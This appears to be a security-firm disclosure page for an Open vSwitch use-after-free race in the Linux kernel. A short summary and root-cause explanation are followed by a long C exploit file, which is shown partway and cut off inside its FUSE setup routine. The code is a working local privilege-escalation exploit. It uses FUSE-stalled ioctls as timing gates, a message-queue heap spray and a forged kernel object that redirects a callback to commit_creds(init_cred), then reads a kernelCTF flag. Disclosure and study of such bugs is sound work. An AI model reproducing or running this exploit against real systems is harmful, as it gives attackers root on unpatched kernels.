Summary
An Open vSwitch port could be detached once by device-unregister handling and then destroyed through another path. The second path cleared and released its device immediately, without waiting for packet readers that had already found the port.
The race dated to August 2015 and was fixed upstream in March 2026. The public exploit was validated on Fedora 44 with Linux 6.19.10-300.
Why it mattered
A local attacker able to create the relevant virtual networking setup in a namespace could race port teardown against packet output. A packet reader could then dereference the released device, leading to a crash or exploitable kernel memory reuse.
The affected code has been fixed. The risk described here applies to unpatched kernels in the affected line, not automatically to every system using the named distribution today.
What went wrong
ovs_netdev_tunnel_destroy() skipped ovs_netdev_detach_dev() when unregister handling had detached the port already. That also skipped its network-reader grace period before netdev_put() released the device.
Exploit
Because the issue and its fixes are public, NebuSec’s validation code is included here for reproducibility. The preview starts at the program entry point and shows exactly 15 lines. Expanding it reveals the complete selected C file embedded in this page; build files, headers, helpers, and any additional sources remain in the linked CyberMeowfia directory.
int main(int argc, char **argv){ int attempt;
setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); if (argc == 2 && !strcmp(argv[1], "--attempt")) { int rc = f29_attempt(F29_SUCCESS_FD);
close(F29_SUCCESS_FD); fprintf(stderr, "F29_ATTEMPT_EXIT rc=%d method=_exit\n", rc); _exit(rc); } if (argc != 1) { fprintf(stderr, "F29_BATCH_REJECT reason=arguments\n");
/*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
/* V29 keeps V28's primitive, timer delivery, cache path, safe cleanup, and
* parent handoff byte-for-byte after revision normalization. Its only
* behavioral delta delays the second RTNL-gate release from 2 us to 50 us
* after the unchanged consumer target. */
#define ROW41_TIMER_POLL_WAITERS 48
#define ROW41_TIMER_EPOLL_DUPLICATES 24
#define ROW41_TIMER_CLUSTER_ARM_NS UINT64_C(500000)
#define main row41_v104_main
#include "exploit-v104-crosscpu-flush-trace.c"
#undef main
#include <linux/fuse.h>
#include <linux/if_tun.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#include <sys/uio.h>
#include <sys/wait.h>
/*
* V29 retains the contents reclaimed through V13's dynamically proven
* 6931d21f UAF. Two
* ordinary TUNGETIFF operations fault into a tiny in-process FUSE mount while
* they own RTNL. They provide explicit, independently releasable RTNL gates;
* they are not vulnerability primitives. The only UAF trigger remains the
* report's group delete of an OVS-attached GRE netdevice.
*
* The writer is not released while it is in rcu_barrier(). Instead the main
* thread requires 20.5 ms of continuous D-state residence in one exact msleep
* wait with an unchanged voluntary-switch counter. That rejects the V9
* scheduling model: the grace period is complete before CPU 0 enters the
* diagnostic timer hardirq. A validated SAMPLE prefix covers timer-delivery
* jitter, followed by 256 natural egress-metadata consumers. Unlike OUTPUT,
* output_userspace() does not reject a tunnel device on running/carrier state.
* A successful stale callback enters the exact-image devcd_dev_release().
* The reclaimed object is overlaid as a devcd_entry: its free pointer is
* commit_creds and its data pointer is &init_cred. Consequently the actual
* call is commit_creds(init_cred), never the invalid commit_creds(dev).
* devcd_dev_release() then follows its normal return path.
*
* Corrected-stock V28 disproved writer-return time as a sufficient success
* discriminator: its complete miss returned 14.940043 ms after the target,
* later than every frozen success. The direct release-to-consumer coordinate
* remains separating in the immutable complete evidence. The three successes
* began the second gate reply 46.688, 56.422 and 77.488 us after the consumer
* target; every complete miss began no later than 41.790 us. V28's stock miss
* began at 15.157 us. A 50-us release target therefore removes the observed
* early-miss region and lands in the empirically successful interval without
* changing the consumer, free, refill, callback, scheduler policy, or target.
* This is a falsifiable 48-us release-phase shift, not a new capability. The
* 20.5-ms stable residency remains strictly above the audited upper bound of
* the preceding 16-ms sleep and therefore proves the same >=32-ms backoff
* generation. V28's FUSE
* teardown, private-namespace fallback, queue preservation, framed handoff,
* and parent wait-before-output policy are unchanged.
* No second bug, cross-cache transition, ROP stack migration, scheduler-policy
* change, or target/environment change is added.
*/
#define F5_TARGET_NAME "grfuse29"
#define F5_DUMMY_NAME "gatef29"
#define F5_TUN1_NAME "r29tun0"
#define F5_TUN2_NAME "r29tun1"
#define F5_FUSE_DIR "/tmp/row41-fuse-v29"
#define F5_FUSE_PATH F5_FUSE_DIR "/pages"
#define F5_GROUP UINT32_C(0x6931)
#define F11_PREFIX_ACTIONS 512U
#define F11_METADATA_ACTIONS 256U
#define F11_TOTAL_ACTIONS (F11_PREFIX_ACTIONS + F11_METADATA_ACTIONS)
#define F5_FILE_BYTES 8192U
#define F5_GATE_PREFIX_BYTES 16U
#define F5_DEADLINE_NS UINT64_C(5000000000)
#define F5_MIN_LEAD_NS UINT64_C(8000)
#define F5_MAX_LEAD_NS UINT64_C(44000)
#define F5_RELEASE_AFTER_IRQ_NS UINT64_C(50000)
#define F10_ARM_GUARD_NS UINT64_C(2000)
#define F10_BACKOFF_STABLE_NS UINT64_C(20500000)
#define F5_CLEANUP_GATE_NS UINT64_C(2000000000)
#define F29_SEND_LEAD_NS UINT64_C(70000)
#define F29_SEND_LEAD_MIN_NS UINT64_C(68000)
#define F29_SEND_LEAD_MAX_NS UINT64_C(70000)
#define F29_TARGET_AFTER_OBSERVED_MIN_NS UINT64_C(500000)
#define F29_TARGET_AFTER_OBSERVED_MAX_NS UINT64_C(550000)
#define F29_TARGET_AFTER_FIRST_MIN_NS UINT64_C(20900000)
#define F29_TARGET_AFTER_FIRST_MAX_NS UINT64_C(21200000)
#define F29_LATE_SEND_RETRY_MAX_NS UINT64_C(1000000)
#define F29_LATE_SEND_EXIT 251
#define F29_ATTEMPTS 3
#define F29_SUCCESS_FD 3
#define F29_FLAG_MAX 255U
#define F29_SUCCESS_MAGIC UINT64_C(0x4632395355434345)
enum f5_gate_id {
F5_GATE1 = 0,
F5_GATE2 = 1,
F5_GATE_COUNT = 2,
};
struct f5_gate {
int id;
int tun_fd;
void *mapping;
void *fault_buffer;
uint64_t file_offset;
volatile unsigned int go;
volatile unsigned int entered;
volatile unsigned int done;
volatile int tid;
volatile int result;
volatile uint64_t ioctl_start_ns;
volatile uint64_t ioctl_return_ns;
};
struct f5_fuse_read {
uint64_t unique;
uint64_t offset;
uint32_t size;
uint32_t pid;
uint64_t request_ns;
volatile unsigned int pending;
volatile unsigned int replied;
uint64_t reply_start_ns;
uint64_t reply_end_ns;
};
struct f5_context {
struct shared sh;
int canary_ifindex;
int packet_fd;
const uint8_t *frame;
uint64_t lead_ns;
};
static struct f5_gate f5_gates[F5_GATE_COUNT];
static struct f5_fuse_read f5_reads[F5_GATE_COUNT];
static pthread_mutex_t f5_fuse_reply_lock = PTHREAD_MUTEX_INITIALIZER;
static int f5_fuse_dev = -1;
static int f5_fuse_file = -1;
static int f5_fuse_stop_pipe[2] = {-1, -1};
static pthread_t f5_fuse_thread;
static volatile unsigned int f5_fuse_thread_started;
static volatile unsigned int f5_fuse_thread_stopped;
static volatile unsigned int f5_fuse_thread_joined;
static volatile unsigned int f5_fuse_connection_closed;
static volatile unsigned int f5_fuse_private_mount_namespace;
static volatile unsigned int f5_fuse_mounted;
static volatile unsigned int f5_fuse_ready;
static volatile unsigned int f5_fuse_failed;
static volatile unsigned int f5_writer_go;
static volatile unsigned int f5_writer_entered;
static volatile unsigned int f5_writer_done;
static volatile int f5_writer_tid;
static volatile int f5_writer_result;
static volatile uint64_t f5_writer_start_ns;
static volatile uint64_t f5_writer_return_ns;
static volatile unsigned int f5_rtm_go;
static volatile unsigned int f5_rtm_entered;
static volatile unsigned int f5_rtm_done;
static volatile int f5_rtm_tid;
static volatile int f5_rtm_result;
static volatile uint64_t f5_rtm_start_ns;
static volatile uint64_t f5_rtm_return_ns;
static volatile unsigned int f5_ovs_go;
static volatile unsigned int f5_ovs_entered;
static volatile unsigned int f5_ovs_done;
static volatile int f5_ovs_tid;
static volatile int f5_ovs_result;
static volatile uint64_t f5_ovs_start_ns;
static volatile uint64_t f5_ovs_return_ns;
static volatile unsigned int f5_release_go;
static volatile unsigned int f5_release_done;
static volatile uint64_t f5_release_target_ns;
static volatile int f5_release_result;
static volatile uint64_t f5_send_start_ns;
static volatile uint64_t f5_send_end_ns;
static volatile int f5_send_result;
static volatile unsigned int f29_flag_captured;
static volatile unsigned int f29_preserve_spray_queues;
struct f29_success_record {
uint64_t magic;
uint32_t length;
uint32_t checksum;
uint8_t flag[F29_FLAG_MAX];
};
struct f29_spray_message {
long type;
uint8_t data[SPRAY_LEN];
};
static struct f29_spray_message f29_spray_message;
static int f29_spray_queues[SPRAY_QUEUES];
static volatile uint64_t f29_refill_dispatch_ns;
static volatile uint64_t f29_first_msgsnd_start_ns;
static volatile uint64_t f29_first_msgsnd_end_ns;
/* Called only by f5_writer_fn after the freeing RTNL request has returned.
* The queue array and immutable payload were prepared before the race. */
static int f29_fill_spray_inline(void)
{
int index;
if ((int)syscall(SYS_gettid) != f5_writer_tid ||
__atomic_load_n(&spray_phase, __ATOMIC_ACQUIRE) != SPRAY_DRAINED)
return -EPROTO;
for (index = 0; index < SPRAY_QUEUES; index++) {
int send_result;
if (index == 0)
f29_first_msgsnd_start_ns = monotonic_ns();
send_result = msgsnd(f29_spray_queues[index], &f29_spray_message,
SPRAY_LEN, IPC_NOWAIT);
if (index == 0)
f29_first_msgsnd_end_ns = monotonic_ns();
if (send_result < 0)
return -errno;
__sync_fetch_and_add(&spray_allocs, 1);
}
race_fill_done_ns = monotonic_ns();
__atomic_store_n(&spray_phase, SPRAY_FILLED, __ATOMIC_RELEASE);
return 0;
}
static void f5_known_page_builder(unsigned char *page,
uint64_t page_address,
void *argument)
{
uint64_t slide = *(uint64_t *)argument;
uint64_t release = KERNEL_BASE + slide + OFF_DEVCD_DEV_RELEASE;
memset(page, 0, KNOWN_PAGE_BYTES);
put64(page, ANCHOR_OPS + 0x280, release);
/* devcd_dev_release() calls put_device() on this page-local object.
* kref=2 makes that put stop at one. A NULL kobj.sd skips the sysfs
* unlink, and state_initialized keeps kobject_put() on its normal path. */
put64(page, ANCHOR_FAILING_DEVICE + DEVICE_KOBJ_SD, 0);
put32(page, ANCHOR_FAILING_DEVICE + DEVICE_KOBJ_KREF, 2);
put32(page, ANCHOR_FAILING_DEVICE + DEVICE_KOBJ_STATE, 1);
fprintf(stderr,
"F29_PRIV_PAGE page=%#llx ops=%#llx ndo_fill_metadata_dst=%#llx callback=devcd_dev_release wrapper_call=commit_creds_init_cred direct_commit_creds_dev=forbidden failing_dev=%#llx\n",
(unsigned long long)page_address,
(unsigned long long)(page_address + ANCHOR_OPS),
(unsigned long long)release,
(unsigned long long)(page_address + ANCHOR_FAILING_DEVICE));
}
static uint32_t f29_checksum(const uint8_t *data, size_t length)
{
uint32_t value = UINT32_C(2166136261);
while (length--) {
value ^= *data++;
value *= UINT32_C(16777619);
}
return value;
}
static int f29_exact_write(int fd, const void *data, size_t length)
{
const uint8_t *cursor = data;
while (length) {
ssize_t done = write(fd, cursor, length);
if (done < 0) {
if (errno == EINTR)
continue;
return -errno;
}
if (!done)
return -EIO;
cursor += done;
length -= (size_t)done;
}
return 0;
}
static int f29_exact_read_record(int fd, struct f29_success_record *record)
{
uint8_t *cursor = (uint8_t *)record;
size_t remaining = sizeof(*record);
uint8_t extra;
memset(record, 0, sizeof(*record));
while (remaining) {
ssize_t done = read(fd, cursor, remaining);
if (done < 0) {
if (errno == EINTR)
continue;
return -errno;
}
if (!done)
return remaining == sizeof(*record) ? 0 : -EPROTO;
cursor += done;
remaining -= (size_t)done;
}
for (;;) {
ssize_t done = read(fd, &extra, 1);
if (done < 0 && errno == EINTR)
continue;
if (done != 0)
return -EPROTO;
break;
}
if (record->magic != F29_SUCCESS_MAGIC || !record->length ||
record->length > F29_FLAG_MAX ||
record->checksum != f29_checksum(record->flag, record->length) ||
record->length < sizeof("kernelCTF{}") - 1 ||
memcmp(record->flag, "kernelCTF{", sizeof("kernelCTF{") - 1) ||
record->flag[record->length - 1] != '}')
return -EPROTO;
return 1;
}
/* Capture exactly one printable line. The attempt never writes flag bytes to
* the console; the single-threaded parent does so only after a clean child
* exit and a validated framed record. */
static int f29_capture_flag(uint8_t flag[F29_FLAG_MAX], uint32_t *length_out)
{
uint32_t length = 0;
int fd;
int terminated = 0;
fd = open("/flag", O_RDONLY | O_CLOEXEC);
if (fd < 0)
return 0;
for (;;) {
uint8_t byte;
ssize_t got = read(fd, &byte, 1);
if (!got) {
terminated = 1;
break;
}
if (got < 0) {
if (errno == EINTR)
continue;
length = 0;
break;
}
if (byte == '\n' || byte == '\0') {
terminated = 1;
break;
}
if (byte < 0x20 || byte > 0x7e || length == F29_FLAG_MAX) {
length = 0;
break;
}
flag[length++] = byte;
}
close(fd);
if (!terminated || length < sizeof("kernelCTF{}") - 1 ||
memcmp(flag, "kernelCTF{", sizeof("kernelCTF{") - 1) ||
flag[length - 1] != '}')
return 0;
*length_out = length;
__atomic_store_n(&f29_flag_captured, 1, __ATOMIC_RELEASE);
fprintf(stderr,
"F29_FLAG_CAPTURED oracle=open_read_flag bytes=%u transport=deferred_pipe_after_bounded_join parent_output_only=1 acceptance=flag_only\n",
length);
return 1;
}
static int f29_send_success_record(int fd, const uint8_t *flag,
uint32_t length)
{
struct f29_success_record record;
memset(&record, 0, sizeof(record));
record.magic = F29_SUCCESS_MAGIC;
record.length = length;
memcpy(record.flag, flag, length);
record.checksum = f29_checksum(record.flag, record.length);
return f29_exact_write(fd, &record, sizeof(record));
}
static int f5_vport_new_gre(struct nl_sock *socket, int family,
int dp_ifindex, const char *name)
{
char request[BUF_SZ];
struct nlmsghdr *header = ovs_msg_init(
request, sizeof(request), socket, (uint16_t)family,
NLM_F_REQUEST | NLM_F_ECHO, OVS_VPORT_CMD_NEW,
OVS_VPORT_VERSION, dp_ifindex);
if (nla_put_u32(header, sizeof(request), OVS_VPORT_ATTR_TYPE,
OVS_VPORT_TYPE_GRE) < 0 ||
nla_put_strz(header, sizeof(request), OVS_VPORT_ATTR_NAME,
name) < 0 ||
nla_put_u32(header, sizeof(request), OVS_VPORT_ATTR_UPCALL_PID,
socket->portid) < 0)
return -EMSGSIZE;
return nl_talk(socket, header, 0, NULL, NULL);
}
static int f5_rtnl_new_dummy(struct nl_sock *socket, const char *name)
{
char request[BUF_SZ];
struct nlmsghdr *header;
struct ifinfomsg *info;
struct nlattr *linkinfo;
memset(request, 0, sizeof(request));
header = (struct nlmsghdr *)request;
header->nlmsg_len = NLMSG_LENGTH(sizeof(*info));
header->nlmsg_type = RTM_NEWLINK;
header->nlmsg_flags =
NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
header->nlmsg_seq = ++socket->seq;
info = (struct ifinfomsg *)NLMSG_DATA(header);
info->ifi_family = AF_UNSPEC;
if (nla_put_strz(header, sizeof(request), IFLA_IFNAME, name) < 0)
return -EMSGSIZE;
linkinfo = nla_nest_start(header, sizeof(request), IFLA_LINKINFO);
if (!linkinfo ||
nla_put_strz(header, sizeof(request), IFLA_INFO_KIND, "dummy") < 0)
return -EMSGSIZE;
nla_nest_end(header, linkinfo);
return nl_talk(socket, header, 1, NULL, NULL);
}
static int f5_vport_new_netdev(struct nl_sock *socket, int family,
int dp_ifindex, const char *name)
{
char request[BUF_SZ];
struct nlmsghdr *header = ovs_msg_init(
request, sizeof(request), socket, (uint16_t)family,
NLM_F_REQUEST | NLM_F_ECHO, OVS_VPORT_CMD_NEW,
OVS_VPORT_VERSION, dp_ifindex);
if (nla_put_u32(header, sizeof(request), OVS_VPORT_ATTR_TYPE,
OVS_VPORT_TYPE_NETDEV) < 0 ||
nla_put_strz(header, sizeof(request), OVS_VPORT_ATTR_NAME,
name) < 0 ||
nla_put_u32(header, sizeof(request), OVS_VPORT_ATTR_UPCALL_PID,
socket->portid) < 0)
return -EMSGSIZE;
return nl_talk(socket, header, 0, NULL, NULL);
}
static int f5_flow_program(struct nl_sock *socket, int family,
int dp_ifindex, uint32_t target_port)
{
char request[BUF_SZ];
struct nlmsghdr *header = ovs_msg_init(
request, sizeof(request), socket, (uint16_t)family,
NLM_F_REQUEST | NLM_F_ACK, OVS_FLOW_CMD_NEW,
OVS_FLOW_VERSION, dp_ifindex);
struct ovs_key_ethernet ethernet = {0};
struct ovs_key_ethernet ethernet_mask = {0};
struct ovs_key_ipv4 ipv4 = {
.ipv4_proto = IPPROTO_UDP,
.ipv4_frag = OVS_FRAG_TYPE_NONE,
};
struct ovs_key_ipv4 ipv4_mask = { .ipv4_proto = 0xff };
struct ovs_key_udp udp = {0};
struct ovs_key_udp udp_mask = {0};
uint32_t in_port = OVSP_LOCAL;
uint32_t in_port_mask = UINT32_MAX;
uint32_t pid = UINT32_MAX;
uint64_t tun_id = htobe64(UINT64_C(0x1122334455667788));
uint32_t tun_src = 0;
uint32_t tun_dst = htonl(UINT32_C(0x7f000001));
uint8_t tun_tos = 0;
uint8_t tun_ttl = 64;
uint8_t geneve_opts[TUN_OPT_BYTES];
uint16_t eth_type = htons(ETH_P_IP);
uint16_t eth_type_mask = htons(UINT16_MAX);
struct nlattr *nest;
unsigned int index;
nest = nla_nest_start(header, sizeof(request), OVS_FLOW_ATTR_KEY);
if (!nest ||
nla_put_u32(header, sizeof(request), OVS_KEY_ATTR_IN_PORT,
in_port) < 0 ||
nla_put(header, sizeof(request), OVS_KEY_ATTR_ETHERNET,
ðernet, sizeof(ethernet)) < 0 ||
nla_put_u16(header, sizeof(request), OVS_KEY_ATTR_ETHERTYPE,
eth_type) < 0 ||
nla_put(header, sizeof(request), OVS_KEY_ATTR_IPV4,
&ipv4, sizeof(ipv4)) < 0 ||
nla_put(header, sizeof(request), OVS_KEY_ATTR_UDP,
&udp, sizeof(udp)) < 0)
return -EMSGSIZE;
nla_nest_end(header, nest);
nest = nla_nest_start(header, sizeof(request), OVS_FLOW_ATTR_MASK);
if (!nest ||
nla_put_u32(header, sizeof(request), OVS_KEY_ATTR_IN_PORT,
in_port_mask) < 0 ||
nla_put(header, sizeof(request), OVS_KEY_ATTR_ETHERNET,
ðernet_mask, sizeof(ethernet_mask)) < 0 ||
nla_put_u16(header, sizeof(request), OVS_KEY_ATTR_ETHERTYPE,
eth_type_mask) < 0 ||
nla_put(header, sizeof(request), OVS_KEY_ATTR_IPV4,
&ipv4_mask, sizeof(ipv4_mask)) < 0 ||
nla_put(header, sizeof(request), OVS_KEY_ATTR_UDP,
&udp_mask, sizeof(udp_mask)) < 0)
return -EMSGSIZE;
nla_nest_end(header, nest);
nest = nla_nest_start(header, sizeof(request), OVS_FLOW_ATTR_ACTIONS);
if (!nest)
return -EMSGSIZE;
memset(geneve_opts, 0, sizeof(geneve_opts));
geneve_opts[2] = 1;
geneve_opts[3] = 31;
geneve_opts[128 + 2] = 2;
geneve_opts[128 + 3] = 30;
{
struct nlattr *set = nla_nest_start(
header, sizeof(request), OVS_ACTION_ATTR_SET);
struct nlattr *tun = nla_nest_start(
header, sizeof(request), OVS_KEY_ATTR_TUNNEL);
if (!set || !tun ||
nla_put(header, sizeof(request), OVS_TUNNEL_KEY_ATTR_ID,
&tun_id, sizeof(tun_id)) < 0 ||
nla_put(header, sizeof(request),
OVS_TUNNEL_KEY_ATTR_IPV4_SRC,
&tun_src, sizeof(tun_src)) < 0 ||
nla_put(header, sizeof(request),
OVS_TUNNEL_KEY_ATTR_IPV4_DST,
&tun_dst, sizeof(tun_dst)) < 0 ||
nla_put(header, sizeof(request), OVS_TUNNEL_KEY_ATTR_TOS,
&tun_tos, sizeof(tun_tos)) < 0 ||
nla_put(header, sizeof(request), OVS_TUNNEL_KEY_ATTR_TTL,
&tun_ttl, sizeof(tun_ttl)) < 0 ||
nla_put(header, sizeof(request),
OVS_TUNNEL_KEY_ATTR_GENEVE_OPTS,
geneve_opts, sizeof(geneve_opts)) < 0)
return -EMSGSIZE;
nla_nest_end(header, tun);
nla_nest_end(header, set);
}
/* The 512 absent-port actions pay clone/userspace traversal cost without
* calling dev_fill_metadata_dst(). They absorb the +185-us timer delivery
* lag measured by V10. The final 256 actions are the exact stock route:
* output_userspace() looks up the live GRE vport, calls
* dev_fill_metadata_dst(vport->dev, skb), and each SAMPLE clone forces an
* independent tun_dst_unclone() before the final cached-dev callback.
* Limiting real metadata hits to 256 preserves the allocation-safe density
* established by the prior stock phase calibrator. */
for (index = 0; index < F11_TOTAL_ACTIONS; index++) {
struct nlattr *sample = nla_nest_start(
header, sizeof(request), OVS_ACTION_ATTR_SAMPLE);
struct nlattr *sample_actions;
struct nlattr *userspace;
uint32_t output_port = index < F11_PREFIX_ACTIONS ?
FLOW_ABSENT_PORT : target_port;
if (!sample ||
nla_put_u32(header, sizeof(request),
OVS_SAMPLE_ATTR_PROBABILITY, UINT32_MAX) < 0)
return -EMSGSIZE;
sample_actions = nla_nest_start(
header, sizeof(request), OVS_SAMPLE_ATTR_ACTIONS);
userspace = nla_nest_start(
header, sizeof(request), OVS_ACTION_ATTR_USERSPACE);
if (!sample_actions || !userspace ||
nla_put_u32(header, sizeof(request),
OVS_USERSPACE_ATTR_PID, pid) < 0 ||
nla_put_u32(header, sizeof(request),
OVS_USERSPACE_ATTR_EGRESS_TUN_PORT,
output_port) < 0)
return -EMSGSIZE;
nla_nest_end(header, userspace);
nla_nest_end(header, sample_actions);
nla_nest_end(header, sample);
}
nla_nest_end(header, nest);
return nl_talk(socket, header, 1, NULL, NULL);
}
static void f5_fill_fuse_attr(struct fuse_attr *attribute, uint64_t nodeid)
{
memset(attribute, 0, sizeof(*attribute));
attribute->ino = nodeid;
attribute->nlink = nodeid == FUSE_ROOT_ID ? 2 : 1;
attribute->mode = nodeid == FUSE_ROOT_ID ?
S_IFDIR | 0700 : S_IFREG | 0600;
attribute->size = nodeid == FUSE_ROOT_ID ? 0 : F5_FILE_BYTES;
attribute->blocks = nodeid == FUSE_ROOT_ID ? 0 : 16;
attribute->blksize = 4096;
}
static int f5_fuse_reply(uint64_t unique, int error,
const void *payload, size_t payload_length)
{
struct fuse_out_header header = {
.len = sizeof(header) + payload_length,
.error = error,
.unique = unique,
};
struct iovec vectors[2] = {
{ .iov_base = &header, .iov_len = sizeof(header) },
{ .iov_base = (void *)payload, .iov_len = payload_length },
};
ssize_t written;
pthread_mutex_lock(&f5_fuse_reply_lock);
written = writev(f5_fuse_dev, vectors, payload_length ? 2 : 1);
pthread_mutex_unlock(&f5_fuse_reply_lock);
if (written < 0)
return -errno;
if ((size_t)written != sizeof(header) + payload_length)
return -EIO;
return 0;
}
static void *f5_fuse_server_fn(void *unused)
{
unsigned char request[8192];
struct pollfd waiters[2] = {
{ .fd = f5_fuse_dev, .events = POLLIN },
{ .fd = f5_fuse_stop_pipe[0], .events = POLLIN },
};
(void)unused;
pin_cpu(0);
(void)prctl(PR_SET_NAME, "row41-fused", 0, 0, 0);
for (;;) {
struct fuse_in_header *header =
(struct fuse_in_header *)request;
ssize_t length;
int ready = poll(waiters, 2, -1);
if (ready < 0 && errno == EINTR)
continue;
if (ready < 0) {
f5_fuse_failed = 1;
fatal_error = 1;
break;
}
if (waiters[1].revents & (POLLIN | POLLERR | POLLHUP)) {
unsigned char discard[32];
while (read(f5_fuse_stop_pipe[0], discard,
sizeof(discard)) > 0)
;
break;
}
if (!(waiters[0].revents & (POLLIN | POLLERR | POLLHUP)))
continue;
length = read(f5_fuse_dev, request, sizeof(request));
if (length < 0 && errno == EINTR)
continue;
if (length < 0 && errno == EAGAIN)
continue;
if (length < (ssize_t)sizeof(*header)) {
if (!stop_flag) {
f5_fuse_failed = 1;
fatal_error = 1;
}
return NULL;
}
switch (header->opcode) {
case FUSE_INIT: {
struct fuse_init_in *input =
(struct fuse_init_in *)(header + 1);
struct fuse_init_out output = {
.major = FUSE_KERNEL_VERSION,
.minor = input->minor < FUSE_KERNEL_MINOR_VERSION ?
input->minor : FUSE_KERNEL_MINOR_VERSION,
.max_readahead = 0,
.max_background = 16,
.congestion_threshold = 12,
.max_write = 4096,
.time_gran = 1,
.max_pages = 1,
};
if (f5_fuse_reply(header->unique, 0,
&output, sizeof(output)))
f5_fuse_failed = 1;
else
__atomic_store_n(&f5_fuse_ready, 1, __ATOMIC_RELEASE);
break;
}
case FUSE_LOOKUP: {
struct fuse_entry_out output = {
.nodeid = 2,
.generation = 1,
.entry_valid = 0,
.attr_valid = 0,
};
f5_fill_fuse_attr(&output.attr, 2);
if (f5_fuse_reply(header->unique, 0,
&output, sizeof(output)))
f5_fuse_failed = 1;
break;
}
case FUSE_GETATTR: {
struct fuse_attr_out output = { .attr_valid = 0 };
f5_fill_fuse_attr(&output.attr, header->nodeid);
if (f5_fuse_reply(header->unique, 0,
&output, sizeof(output)))
f5_fuse_failed = 1;
break;
}
case FUSE_OPEN: {
struct fuse_open_out output = { .fh = 1 };
if (f5_fuse_reply(header->unique, 0,
&output, sizeof(output)))
f5_fuse_failed = 1;
break;
}
case FUSE_READ: {
struct fuse_read_in *input =
(struct fuse_read_in *)(header + 1);
int gate = input->offset == 0 ? F5_GATE1 :
input->offset == 4096 ? F5_GATE2 : -1;
int association_ok = gate >= 0 &&
header->nodeid == 2 && input->size > 0 &&
input->size <= 4096 && header->unique != 0 &&
header->pid == (uint32_t)__atomic_load_n(
&f5_gates[gate].tid, __ATOMIC_ACQUIRE) &&
!__atomic_load_n(&f5_reads[gate].pending,
__ATOMIC_ACQUIRE);
if (!association_ok) {
unsigned char zeros[4096] = {0};
fprintf(stderr,
"F5_FUSE_READ_REJECT ns=%llu unique=%llu nodeid=%llu offset=%llu size=%u pid=%u gate=%d gate1_tid=%d gate2_tid=%d\n",
(unsigned long long)monotonic_ns(),
(unsigned long long)header->unique,
(unsigned long long)header->nodeid,
(unsigned long long)input->offset, input->size,
header->pid, gate,
__atomic_load_n(&f5_gates[F5_GATE1].tid,
__ATOMIC_RELAXED),
__atomic_load_n(&f5_gates[F5_GATE2].tid,
__ATOMIC_RELAXED));
f5_fuse_failed = 1;
fatal_error = 1;
stop_flag = 1;
(void)f5_fuse_reply(header->unique, -EPROTO, zeros, 0);
futex_wake_all_u32(
(volatile unsigned int *)&stop_flag);
break;
}
f5_reads[gate].unique = header->unique;
f5_reads[gate].offset = input->offset;
f5_reads[gate].size = input->size;
f5_reads[gate].pid = header->pid;
f5_reads[gate].request_ns = monotonic_ns();
__atomic_store_n(&f5_reads[gate].pending, 1,
__ATOMIC_RELEASE);
futex_wake_all_u32(&f5_reads[gate].pending);
fprintf(stderr,
"F5_FUSE_READ_PENDING ns=%llu gate=%d unique=%llu nodeid=%llu offset=%llu size=%u request_pid=%u ioctl_tid=%d association=exact\n",
(unsigned long long)f5_reads[gate].request_ns,
gate + 1, (unsigned long long)header->unique,
(unsigned long long)header->nodeid,
(unsigned long long)input->offset, input->size,
header->pid, f5_gates[gate].tid);
break;
}
case FUSE_FORGET:
break;
case FUSE_FLUSH:
case FUSE_RELEASE:
if (f5_fuse_reply(header->unique, 0, NULL, 0))
f5_fuse_failed = 1;
break;
default:
if (f5_fuse_reply(header->unique, -ENOSYS, NULL, 0))
f5_fuse_failed = 1;
break;
}
if (f5_fuse_failed) {
fatal_error = 1;
stop_flag = 1;
}
}
__atomic_store_n(&f5_fuse_thread_stopped, 1, __ATOMIC_RELEASE);
return NULL;
}
static int f5_reply_gate(enum f5_gate_id gate)
{
unsigned char page[4096] = {0};
struct f5_fuse_read *read = &f5_reads[gate];
int result;
if (!__atomic_load_n(&read->pending, __ATOMIC_ACQUIRE) ||
__atomic_load_n(&read->replied, __ATOMIC_ACQUIRE) ||
read->pid != (uint32_t)f5_gates[gate].tid ||
read->offset != (uint64_t)gate * 4096 ||
!read->unique || !read->size || read->size > sizeof(page))
return -EPROTO;
read->reply_start_ns = monotonic_ns();
result = f5_fuse_reply(read->unique, 0, page, read->size);
read->reply_end_ns = monotonic_ns();
if (!result)
__atomic_store_n(&read->replied, 1, __ATOMIC_RELEASE);
fprintf(stderr,
"F5_FUSE_REPLY gate=%d unique=%llu offset=%llu pid=%u ioctl_tid=%d start_ns=%llu end_ns=%llu result=%d\n",
gate + 1, (unsigned long long)read->unique,
(unsigned long long)read->offset, read->pid,
f5_gates[gate].tid,
(unsigned long long)read->reply_start_ns,
(unsigned long long)read->reply_end_ns, result);
return result;
}
static int f5_setup_fuse(void)
{
char options[160];
long page_size = sysconf(_SC_PAGESIZE);
int thread_result;
int index;
if (page_size != 4096)
return -EPROTO;
if (unshare(CLONE_NEWNS) < 0)
return -errno;
if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL) < 0)
return -errno;
__atomic_store_n(&f5_fuse_private_mount_namespace, 1,
__ATOMIC_RELEASE);
if (mkdir(F5_FUSE_DIR, 0700) < 0 && errno != EEXIST)
return -errno;
if (pipe2(f5_fuse_stop_pipe, O_CLOEXEC | O_NONBLOCK) < 0)
return -errno;
f5_fuse_dev = open("/dev/fuse", O_RDWR | O_CLOEXEC | O_NONBLOCK);
if (f5_fuse_dev < 0)
return -errno;
snprintf(options, sizeof(options),
"fd=%d,rootmode=40000,user_id=%u,group_id=%u,max_read=4096",
f5_fuse_dev, getuid(), getgid());
if (mount("row41-fuse-v29", F5_FUSE_DIR, "fuse",
MS_NOSUID | MS_NODEV, options) < 0)
return -errno;
__atomic_store_n(&f5_fuse_mounted, 1, __ATOMIC_RELEASE);
thread_result = pthread_create(&f5_fuse_thread, NULL,
f5_fuse_server_fn, NULL);
if (thread_result)
return -thread_result;
__atomic_store_n(&f5_fuse_thread_started, 1, __ATOMIC_RELEASE);
